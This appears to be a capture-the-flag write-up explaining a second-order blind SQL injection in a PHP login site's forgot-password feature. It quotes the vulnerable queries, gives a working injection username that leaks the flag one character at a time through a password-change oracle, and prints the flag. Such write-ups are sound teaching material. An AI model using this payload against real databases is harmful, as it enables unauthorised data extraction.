In this challenge a webpage with some cats is provided. There is a login form along with a register and forgot password one. Auditing the source code we can see that on line 76-77 of login file in the forgot part:

mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
$pwnew,$details,$res->username));

there is an sql injection. The vulnerability is produced by $res->username. If we scroll up some lines we can see that it is taken from this query:

$q = mysql_query(sprintf("select username,email,id from users where username='%s'",
mysql_real_escape_string($_POST["name"])));

where ‘username’ in the select statemant can contains " ' “. Why it can contains it? Because at the moment of the insertion of it:

$q = mysql_query(sprintf("insert into users (username,password,email) values
('%s', '%s', '%s')",mysql_real_escape_string($_POST["name"]),
mysql_real_escape_string($_POST["pass"]),mysql_real_escape_string($_POST["email"])));

the username is escaped so at the end the username field in the database may contains " ' “.

So we have an sql injection to exploit but since it is in an update query we’ll have to go blind. For do so we’re gonna register a username like this: myuser:mypassword

Then we’re gonna register a username like this:

myuser' and (select if((select substr(flag,1,1) from flag)='a',1,2*(select 1 union select 2)))#

and password whatever you want.

Now we’re gonna submit the same username on forgot form. The update query I pasted before will be something like this:

update users set password=whatever, resetinfo=junk where username='myuser' and (select if((select substr(flag,1,1) from flag)='a',1,2*(select 1 union select 2)))#'

So for see if the first character of the flag is ‘a’ or not we just have to see if myuser’s password has been changed or not. If it is changed it means that the first character of the flag is ‘a’ else it isn’t.

Below there is an automated code:

http://pastebin.com/M7rcA3xK

Flag: 20BILLION_D0LLAR_1D3A

Razor4x